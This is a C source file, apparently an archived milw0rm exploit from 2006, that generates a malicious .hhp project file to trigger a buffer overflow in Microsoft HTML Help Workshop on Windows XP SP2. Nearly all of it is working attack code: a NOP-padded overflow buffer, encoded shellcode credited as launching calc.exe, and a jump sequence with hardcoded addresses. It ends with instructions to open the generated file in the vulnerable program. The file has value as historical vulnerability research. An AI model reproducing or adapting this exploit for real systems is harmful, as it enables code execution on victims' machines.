71 lines
No EOL
2.2 KiB
C
71 lines
No EOL
2.2 KiB
C
/*
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Microsoft HTML Help Workshop .hhp file Compiled File Header Buffer Overflow Exploit
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The Buffer Overlfow in Compiled File in Options in a HHP file.
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Bug found by:darkeagle
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Exploit coded by:k3xji
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Mail:sumerc@gmail.com
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Web: www.guvenliklab.com
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Tested:Win XP SP2
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#define BUFLEN 0xe6
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char sta[]=
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"[OPTIONS]\n"
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"Compatibility=1.1 or later\n"
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"Compiled file=";
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char fin[]=
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"Display compile progress=No\n"
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"Language=Turkish\n\n\n"
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"[INFOTYPES]";
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char jmpcode[]= "\x5d\x38\x82\x7c\x5d\x38\x82\x7c\x90\x90\x90\x90\x83\xEC\x34\x90\x83\xEC\x78\x90\xFF\xE4\x90\x90";
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char shellcode[]=
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//Taken from ATmaCA's Execute Calc.exe shellcode.Thx.A bit lazy to call ExitProcess:P
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"\x54\x50\x53\x50\x29\xc9\x83\xe9\xde\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x02"
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"\xdd\x0e\x4d\x83\xee\xfc\xe2\xf4\xfe\x35\x4a\x4d\x02\xdd\x85\x08\x3e\x56\x72\x48"
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"\x7a\xdc\xe1\xc6\x4d\xc5\x85\x12\x22\xdc\xe5\x04\x89\xe9\x85\x4c\xec\xec\xce\xd4"
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"\xae\x59\xce\x39\x05\x1c\xc4\x40\x03\x1f\xe5\xb9\x39\x89\x2a\x49\x77\x38\x85\x12"
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"\x26\xdc\xe5\x2b\x89\xd1\x45\xc6\x5d\xc1\x0f\xa6\x89\xc1\x85\x4c\xe9\x54\x52\x69"
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"\x06\x1e\x3f\x8d\x66\x56\x4e\x7d\x87\x1d\x76\x41\x89\x9d\x02\xc6\x72\xc1\xa3\xc6"
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"\x6a\xd5\xe5\x44\x89\x5d\xbe\x4d\x02\xdd\x85\x25\x3e\x82\x3f\xbb\x62\x8b\x87\xb5"
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"\x81\x1d\x75\x1d\x6a\xa3\xd6\xaf\x71\xb5\x96\xb3\x88\xd3\x59\xb2\xe5\xbe\x6f\x21"
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"\x61\xdd\x0e\x4d";
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int main(int argc,char *argv[])
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{
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printf("\nMicrosoft Help WorkShop Compiled File Header Buffer Overflow");
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printf("\nBug discovered by darkeagle");
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printf("\nExploit coded by k3xji");
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printf("\nE-Mail: sumerc@gmail.com");
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FILE *vuln;
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char *overflow;
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overflow = (char*)malloc(BUFLEN);
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vuln = fopen("poc.hhp","w");
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//build overflow buffer here.
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memset(overflow,0x90,BUFLEN); //fill noPs
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memcpy(overflow+0x2a,shellcode,sizeof(shellcode)); //shellcod3
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memcpy(overflow+0xce,jmpcode,sizeof(jmpcode)); //jmpcod3
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if(vuln)
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{
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//Write to the poc.hhp file
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fprintf(vuln,"%s%s\"/>\n%s",sta,overflow,fin);
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fclose(vuln);
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}
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printf("\n\npoc.hhp file is written.\n");
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printf("Open file with Microsoft Help Workshop.\n");
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return 0;
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}
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// milw0rm.com [2006-02-11]
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